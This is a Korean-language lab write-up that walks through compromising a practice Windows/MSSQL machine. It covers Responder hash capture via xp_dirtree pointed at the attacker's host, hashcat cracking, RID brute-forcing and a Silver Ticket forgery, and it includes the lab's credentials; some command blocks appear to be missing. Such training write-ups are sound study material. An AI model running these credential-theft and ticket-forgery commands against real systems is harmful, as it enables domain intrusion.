
MSSQL service: ( scott / Sm230#C5NatH )
Reconnaissance
nmap -sV 10.129.242.173
- 일단 기본적인 스캔으로는 1433 MSSQL 서비스만 보인다.
impacket-mssqlclient signed.htb/scott:Sm230#C5NatH@10.129.242.173
- 기본으로 주어진 scott 계정으로 로그인에 성공하였다.
- 그런데 DB내에 공격 표면으로 쓰일만한게 보이지 않아서 저번 Escape 발표에서 들었던 NTLM relay attack을 적용해보았다.
Exploitation
sudo responder -I tun0 -v
- 내 칼리서버에서 responder를 리스닝 상태로 먼저 열어 놓는다.
EXEC master..xp_dirtree '\\10.10.14.67\share', 1, 1;

- 이후에 접속했던 db에서 내 칼리서버를 타겟으로 위의 명령어를 실행하면 내 칼리서버에 NTLM 해시값을 탈취할 수 있다.
- xp_dirtree : 먼저 이 명령어는 지정된 경로의 폴더구조를 보여주는 기능의 명령어이다.
- 그럼 해당 명령어는 SQL서버가 실행되고 있는 명의의 권한으로 타겟으로 정한 서버의 폴더구조를 탐색하기 위해 로그인시도를 하다가 중간에서 해시가 탈취되는 것이다.
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
- purPLE9795!@ 이라는 값으로 크랙에 성공했다!
impacket-mssqlclient 'signed.htb/mssqlsvc:purPLE9795!@'@10.129.242.173 -windows-auth
- 이번엔 mssqlsvc라는 계정으로 접근하였다
- 하지만 이번에도 접근한 db 내부에서 관리자 권한은 물론이고 다른 큰 단서를 찾지 못하였다.
- 이 이후로는 도저히 진전이 없어서 라이트업을 보며 풀어보았다.
Silver Ticket Attack
- AD환경에서의 Kerberos 인증에서 발생하는 취약점이다.
- 공격자가 도메인 컨트롤러의 재인증 없이 특정 서비스에 접근하기 위해 Kerberos 서비스 티켓(TGS)을 위조하는 악용한다.
- 도메인 전체의 제어권을 부여하는 Golden Ticket과 다르게 특정 서비스계정을 악용해 제어권을 획득할 수 있다.
Attack Type | Scope of Access | Targeted Credential | Persistence |
Golden Ticket | Full domain control | KRBTGT account hash | Long-term |
Silver Ticket | Targeted service access | Service account hash | Limited but stealthy |
Diamond Ticket | Reuse of legitimate TGTs | Extracted TGT from memory | Short-term |
nxc mssql 10.129.242.173 -u scott -p 'Sm230#C5NatH' --local-auth --rid-brute
- silver ticket 공격에 필요한 도메인 내의 user들의 정보를 모아둔다.
python3 -c 'import hashlib; print(hashlib.new("md4", "purPLE9795!@".encode("utf-16le")).hexdigest())'- ef699384c3285c54128a3ee1ddb1a0cc
- mssqlsvc계정의 ntlm해시값을 얻어준다.
SELECT SUSER_SID('SIGNED\Administrator');
- mssql내에서 SUSER_SID 명령어를 통해 도메인 유저의 SID값을 얻어낼 수 있다.
- 이제 위와 같이 각각 필요한 값들을 입력해서 위조 ticket을 생성할 수 있다.
- RID값들은 nxc mssql에서 얻어낸 각 유저들의 번호이다.
- DOMSID값은 다음 코드로 얻어낼 수 있다.
- Signed/Administrator의 sid값으로 Domain sid값을 뽑아내는 코드이다.

- 먼저 Domain Users의 RID로 로그인에 성공했다!
- 하지만 여전히 진행이 안되었다.
Privilege Escalation


- SIGNED/IT의 계정의 RID(1105)로 접속하니 sysadmin의 권한이 있어서 성공적으로 user flag와 root flag 모두 획득 할 수 있었다!!